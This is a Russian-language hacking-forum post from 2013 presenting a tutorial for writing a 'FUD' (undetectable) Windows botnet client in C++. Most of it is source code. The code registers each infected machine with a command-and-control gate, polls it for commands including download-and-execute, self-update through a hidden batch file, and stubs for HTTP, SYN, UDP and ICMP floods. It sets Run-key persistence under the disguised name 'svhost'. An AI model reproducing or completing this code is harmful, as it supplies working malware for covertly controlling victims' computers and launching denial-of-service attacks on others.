1. Новый раздел и сервер Discord!
    Смотри новость ТЫК

[Tutorial] Пишем FUD botnet

Тема в разделе "Программирование", создана пользователем ℳყ ℓiƒℯ, 9 мар 2013.

  1. Оффлайн

    ℳყ ℓiƒℯ

    2.499
    8.000
    1.525
    Всем привет, это не большой урок по созданию ботнета
    В нем не будет полностью расписано от и до, но вам всего лишь будет надо добавить виды атак
    Это самый простенький пример реализации
    Можно сделать как я, вытащить из любого ботнета php панель и подстроить под него, для тех кто не знает php Составим план:
    1# - Установка.
    2# -Добавление бота в mysql.
    3# - Чтение команд, обработка.
    Создаем проект win32 И добавляем:
    main.cpp - главный файл.
    bot.h - обработка/чтение.
    settings.h - настройка бота.

    Начнем с настройки (Settings.h):

    Код:
    #define SERVER "localhost" // Линк сайта
    #define PATH "gate.php" // Путь
    #define PORT 80 // Порт
    #define AUTH "asd" // Защита
    #define interval 10000 // Интервал подключения
    #define BotVersion "1.0" // Версия бота
    Далее идем в (bot.h):

    Код:
    #include <Windows.h>
    #include <WinInet.h>
    #include <fstream>
    #include "httpflood.h"
    #include "Settings.h"
    #pragma comment(lib,"wininet")
    #pragma comment(lib,"urlmon")
     
     
     
     
    void info() // Добавления бота в mysql
    {
        HW_PROFILE_INFO hwProfileInfo;
        GetCurrentHwProfile(&hwProfileInfo);
        char sysinfo[256];
        LPTSTR lpszCompName;
        DWORD cchBuff;
        TCHAR tchBuffer[100];
        lpszCompName = tchBuffer;
        cchBuff = 256;
        char pcname[256];   
        GetComputerName(lpszCompName, &cchBuff);
        strcpy(pcname, lpszCompName);   
        char  szData[1024];
        HINTERNET hRequest;
        bool ok = false;
        static TCHAR hdrs[] =
        TEXT("Content-Type: application/x-www-form-urlencoded");
        static TCHAR accept[] = "Accept: */*";
        char data[1024]; // Что будем отправлять
        lstrcat(data,"mode=0&hwid=");
        lstrcat(data,hwProfileInfo.szHwProfileGuid); // Hwid
        lstrcat(data,"&pcname=");
        lstrcat(data,(const char*)&pcname); // Имя пк
        lstrcat(data,"&version=");
        lstrcat(data,(const char*)&BotVersion); // Версия бота
        lstrcat(data,"&system=Win"); // Тут fail :D
        HINTERNET hSession = InternetOpen(TEXT(AUTH), // AUTH - зашита, на php что то типо было если user-agent не "lol" то *** тебе.
        INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
        if(hSession!=NULL)
        {
            HINTERNET hConnect = InternetConnect(hSession, SERVER, // Заходим на server.
            INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
            if(hConnect!=NULL)
            {
                hRequest = HttpOpenRequest(hConnect, TEXT("POST"),PATH, // указывай пост запрос, путь.
                NULL, NULL,(const char **) &accept, INTERNET_FLAG_KEEP_CONNECTION, 1);
                if(hRequest!=NULL)
                {
                    if(!HttpSendRequest(hRequest, hdrs, -1L, data, lstrlen(data)))// отправляем.
                    {
                    }                                     
                    }
                    InternetCloseHandle(hRequest);
                }
                InternetCloseHandle(hConnect);
            }
            InternetCloseHandle(hSession);
    }
    void botnet() // Чтение/Обработка
    {
        Sleep(interval); // Ждем определенное время
        HW_PROFILE_INFO hwProfileInfo;
        GetCurrentHwProfile(&hwProfileInfo);
        LPTSTR lpszCompName;
        DWORD cchBuff;
        TCHAR tchBuffer[100];
        lpszCompName = tchBuffer;
        cchBuff = 256;
        char pcname[256];   
        GetComputerName(lpszCompName, &cchBuff);
        strcpy(pcname, lpszCompName);   
        char  szData[1024];
        HINTERNET hRequest;
        bool ok = false;
        static TCHAR hdrs[] =
        TEXT("Content-Type: application/x-www-form-urlencoded");
        static TCHAR accept[] = "Accept: */*";
        char data[MAX_PATH]; // Что будем отправлять.
        strcpy(data,"mode=1&hwid=");
        lstrcat(data,hwProfileInfo.szHwProfileGuid); // а будет отправлять Hwid.
        HINTERNET hSession = InternetOpen(TEXT(AUTH), // все тоже самое что и выше....
        INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
        if(hSession!=NULL)
        {
            HINTERNET hConnect = InternetConnect(hSession, SERVER,
            INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
            if(hConnect!=NULL)
            {
                hRequest = HttpOpenRequest(hConnect, TEXT("POST"),
                PATH, NULL, NULL,(const char **) &accept, INTERNET_FLAG_KEEP_CONNECTION, 1);
                if(hRequest!=NULL)
                {
                    if(!HttpSendRequest(hRequest, hdrs, -1L, data, lstrlen(data))) // Отправили, далее читаем
                    {
                    }                 
                    char cBuffer[1024];
                    DWORD dwBytesRead;
                    BOOL bRead;
                    bRead = InternetReadFile(hRequest, cBuffer, MAX_PATH, &dwBytesRead);   
                    if(bRead && dwBytesRead > 0)
                    {
                    Sleep(600);
                    char * array[1024];
                    char * t = strtok(cBuffer,"*");
                    int i; int portint;
                    for(i = 0; t; t = strtok(NULL,"*"), i++){ array = t; }   
                    if (lstrcmp(array[0], "visit")==0) // Если ответ visit то после звездочки идет сайт
                    {
                      char * link = array[1]; // Ссылка
                      ShellExecute(NULL,"open",link,NULL,NULL,SW_SHOWNORMAL);   
                      //Пример: visit*http://*************.com                                 
                    }
                    if (lstrcmp(array[0], "httpflood")==0)
                    {
                      char *host = array[1]; // Хост
                      char *theard = array[2]; // Потоки
                        //Далее ваша атака...                     
                    }
                    if (lstrcmp(array[0],"synflood")==0)
                    {
                        char *host = array[1];
                        char *port = array[2];
                        char *theards = array[3];
                        char *sockets = array[4];
                    }
                    if (lstrcmp(array[0],"udpflood")==0)
                    {
                        char *host = array[1];
                        char *port = array[2];
                        char *theards = array[3];
                        char *sockets = array[4];
                        char *packetsize = array[5];
                    }
     
     
                    if (lstrcmp(array[0],"icmpflood")==0)
                    {
                        char *host = array[1];
                        char *port = array[2];
                        char *theards = array[3];
                        char *sockets = array[4];
                        char *packetsize = array[5];
                    }
                    if (lstrcmp(array[0],"downloadflood")==0)
                    {
                        char *host = array[1];
                        char *file = array[2];
                    }
                    if (lstrcmp(array[0],"download")==0) // Скачать и запустить
                    {
                        char *host = array[1]; // Ссылка
                        char *save = array[2]; // Куда сохранить
                        URLDownloadToFile(0,host,save,0,0); // Скачиваем запускаем.
                        ShellExecute(NULL,"open",save,NULL,NULL,SW_NORMAL);
                                            //Пример: download*http://localhost/file.exe*C:\\windows\\lol.exe
                    }
                    if (lstrcmp(array[0],"update")==0) // Обновление бота.
                    {
                                            char *link = array[1]; // Ссылка   
                        char *save = array[2]; // Куда сохранить
                        char *name;
                        name[MAX_PATH];
                        GetModuleFileName(GetModuleHandle(0),name,MAX_PATH); // Получаем Путь/Имя бота   
                                        URLDownloadToFile(0,link,save,0,0); // Скачиваем
                        FILE *f=fopen("upd.bat","w"); // Создаем батник
                        fputs("start ",f);
                        fputs(save,f); // Стартуем обновление.
                        fputs("\n del",f);
                        fputs(name,f); // Удаляем старый бот.
                        fclose(f);
                                            ShellExecute(NULL,"open","upd.bat",NULL,NULL,SW_HIDE); // Запускаем бат
                        ExitProcess; // Выключаемся.   
                    }
     
     
     
     
     
     
     
     
                    InternetCloseHandle(hRequest);
                }
                InternetCloseHandle(hConnect);
            }
            InternetCloseHandle(hSession);
        }
    }
        }   
    void install() // стандартная авто загрузка :3
    {
        HKEY hKey;
      char szPath[0x100];
      GetModuleFileName(NULL, szPath, sizeof(szPath));
      RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                        NULL,
                        "",
                        REG_OPTION_NON_VOLATILE,
                        KEY_SET_VALUE,
                        NULL,
                        &hKey,
                        NULL);
     
     
      if (hKey)
      {
          RegSetValueEx(hKey, "svhost", NULL, REG_SZ, (LPBYTE)szPath, strlen(szPath));
          RegCloseKey(hKey);
      }
     
    } 
     
    Ну уже дроп не буду писать, это уже легче не куда :3



    Ну и концовка (main.cpp):
    Код:
    #include <Windows.h>
    #include "bot.h"
     
     
     
     
    int APIENTRY WinMain(HINSTANCE hInstance,
                        HINSTANCE hPrevInstance,
                        LPTSTR    lpCmdLine,
                        int      nCmdShow)
    {
     
     
        install(); // запускаем авто загрузку, но перед этим можно сделать дроп
        info(); // Добавляется в mysql, но перед этим можно сделать проверку, и возвращать до тех пор пока не добавиться ^_^
        while(10000)
        {
            botnet(); // Ну и каждые 10 сек выполнять Чтение/Обработка
        }
     
     
    }

     
    wiwi413 и _G-e-r-o-y_ нравится это.
  2.  

Поделиться этой страницей

Уважаемый пользователь!

Мы обнаружили, что вы блокируете показ рекламы на нашем сайте.

Просим внести его в список исключения или отключить AdBlock.

Наши материалы предоставляются БЕСПЛАТНО и единственным доходом является реклама.

Спасибо за понимание!